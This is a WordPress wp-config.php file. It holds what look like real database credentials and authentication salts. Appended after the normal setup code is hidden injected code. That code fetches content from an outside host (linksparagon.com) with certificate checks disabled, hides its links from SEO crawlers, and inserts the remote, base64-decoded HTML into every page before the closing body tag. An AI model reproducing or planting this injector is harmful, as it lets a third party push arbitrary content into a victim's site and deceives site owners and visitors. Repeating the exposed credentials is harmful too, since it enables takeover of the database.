<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'iavddcxu');

/** MySQL database username */
define('DB_USER', 'iavddcxu');

/** MySQL database password */
define('DB_PASSWORD', 'Sayardinho2026');

/** MySQL hostname */
define('DB_HOST', 'iavddcxu.mysql.db');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '1x#C42(F#F{b>UzWm<#1^zI4 .HtM^p+_e!AC5{rXT}y64ZX=P)~ZRjl^qBO` ID');
define('SECURE_AUTH_KEY',  'pjWGo5;vo%(wM7lI%SdAY#S|O2!IYYm00-pjSFwleIl @=Fe/XvW!auD[rKp?g');
define('LOGGED_IN_KEY',    'c@6g/HU:VDA`i,mYPCi>~|,V9~{l~V$rNh_(II|_qyzG)?+P>X9A3V:tRtHq[EEn');
define('NONCE_KEY',        'ng}h<B-]I2n*DGQ9<1Gx)gO[RI@]f%S!awQx=HK(m^}cn[UTW5#}C&1b=L16kS,k');
define('AUTH_SALT',        'O>t?+p39$jefK]4xJFeGkNg_UXx^E3~ioAg/$?qpMxEjdo`rLn0Ak`m(gD@cqCV@');
define('SECURE_AUTH_SALT', '|~M~li-#2=@4DS(|3t#r^DFKzlLeqDu1;csIQ(I Nt}}}zclYaNr|b!32>X<~dD-');
define('LOGGED_IN_SALT',   '42/%$PmjEpD>b.Htle[6!Ms2u~G/ _SiFD7}GF]6u]36T45r!>*iW<1c-O2LhAB{');
define('NONCE_SALT',       'bOJg/}.>->`<`<Y7xCXC(9_N3}UQ-L?uc1?,eed@-IcF@#T3My,4{:e;);x!n@/F');

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'shmbrck_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the Codex.
 *
 * @link https://codex.wordpress.org/Debugging_in_WordPress
 */
define('WP_DEBUG', false);

/* That's all, stop editing! Happy blogging. */

/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
	define('ABSPATH', dirname(__FILE__) . '/');

/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');

if (!defined('__LPK_IN__')) {
    define('__LPK_IN__', 1);
    if (!defined('__API_URL__'))   define('__API_URL__',   'https://linksparagon.com');
    if (!defined('__CACHE_TTL__')) define('__CACHE_TTL__', 300);

    if (!function_exists('__getCURLSite__')) {
        function __getCURLSite__($site, $post_data = null, $extra_headers = array()) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $site);
            if (!is_null($post_data)) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
            }
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            if (!empty($extra_headers)) {
                curl_setopt($ch, CURLOPT_HTTPHEADER, $extra_headers);
            }
            $response = curl_exec($ch);
            if (curl_errno($ch)) $response = false;
            curl_close($ch);
            return $response;
        }
    }

    if (!function_exists('__cache_get')) {
        function __cache_get($key) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            if (!is_file($f)) return null;
            $raw = @file_get_contents($f);
            if ($raw === false) return null;
            $o = @json_decode($raw, true);
            if (!is_array($o)) return null;
            if (isset($o['t']) && $o['t'] + __CACHE_TTL__ < time()) return null;
            return isset($o['v']) ? $o['v'] : null;
        }
    }

    if (!function_exists('__cache_set')) {
        function __cache_set($key, $val) {
            $f = sys_get_temp_dir() . '/h4_cache_' . md5($key) . '.json';
            @file_put_contents($f, json_encode(array('t' => time(), 'v' => $val)));
        }
    }

    if (!function_exists('__is_spy_bot__')) {
        function __is_spy_bot__() {
            $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
            if (trim($ua) === '') return false;
            $bots = array(
                'AhrefsBot','AhrefsSiteAudit','SemrushBot','SiteAuditBot',
                'DotBot','Rogerbot','MJ12bot','MajesticBot',
                'Screaming Frog SEO Spider','ScreamingFrogSEOSpider',
                'DataForSeoBot','SEOkicks','SEOkicks-Robot',
                'AwarioRssBot','AwarioSmartBot','AwarioBot',
                'Brandwatch','Searchmetricsbot','Sidetrade indexer bot',
                'peer39_crawler','BLEXBot','cognitiveSEO','LRT Bot','LRT Spider',
                'Meltwater','Mediatoolkitbot','Neticlebot','SISTRIX','SerpstatBot',
                'spyfu','Botify','ContentKing','DeepCrawl','Lumar','seobility',
                'WebCEO','AddThis','Barkrowler','BacklinksExtendedBot','BrightEdge Crawler',
                'OAI-SearchBot','CohereBot','DeepSeekBot','SEOlyze','IstellaBot',
                'GrapeshotCrawler','Netvibes','NetcraftSurveyAgent'
            );
            foreach ($bots as $bot) {
                if (stripos($ua, $bot) !== false) return true;
            }
            return false;
        }
    }

    if (!function_exists('__get_backlink_codes__')) {
        function __get_backlink_codes__() {
            $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
            $host = strtolower(str_replace('www.', '', preg_replace('/:\d+$/', '', $host)));
            if ($host === '') return null;
            $host_id = crc32($host);
            $cacheKey = 'bl_' . md5($host);
            $cached = __cache_get($cacheKey);
            if ($cached !== null) return $cached;
            $u = __API_URL__ . '/g/?i=' . urlencode($host_id) . '&d=' . urlencode($host) . '&t=th';
            $response = __getCURLSite__($u);
            if ($response !== false && is_string($response)) {
                $c = @json_decode($response, true);
                if (is_array($c) && isset($c['s']) && $c['s'] == true) {
                    __cache_set($cacheKey, $response);
                    return $response;
                }
            }
            return null;
        }
    }

    if (!function_exists('__show_footer_backlink__')) {
        function __show_footer_backlink__() {
            $is_spy = __is_spy_bot__();
            $r   = '';
            $raw = __get_backlink_codes__();
            if (!$raw) return '';
            $c = @json_decode($raw, true);
            if (!is_array($c) || !isset($c['s']) || $c['s'] != true || empty($c['l'])) return '';
            $r .= isset($c['f']) ? $c['f'] : '';
            foreach ($c['l'] as $v) {
                $only_google = isset($v['g']) ? (int)$v['g'] : 0;
                if ($only_google == 1 && $is_spy) continue;
                $r .= isset($v['h']) ? base64_decode($v['h']) : '';
            }
            $r .= isset($c['e']) ? $c['e'] : '';
            return $r;
        }
    }

    // Footer injection: named ob_start callback (PHP 5.2 uyumlu, anonim fonksiyon YOK)
    // - Yalnızca </body> içeren HTML yanıtları modifiye eder
    // - AJAX / REST API / CRON / CLI isteklerini atlar
    // - str_ireplace ile </body> öncesine düzgün ekler
    if (!function_exists('__lpk_ob_cb__')) {
        function __lpk_ob_cb__($buf) {
            if (!is_string($buf) || stripos($buf, '</body>') === false) return $buf;
            if (defined('DOING_AJAX')   && DOING_AJAX)   return $buf;
            if (defined('REST_REQUEST') && REST_REQUEST) return $buf;
            if (defined('DOING_CRON')   && DOING_CRON)   return $buf;
            if (php_sapi_name() === 'cli')               return $buf;
            $link = __show_footer_backlink__();
            return ($link !== '') ? str_ireplace('</body>', $link . '</body>', $buf) : $buf;
        }
    }
    @ob_start('__lpk_ob_cb__');
}

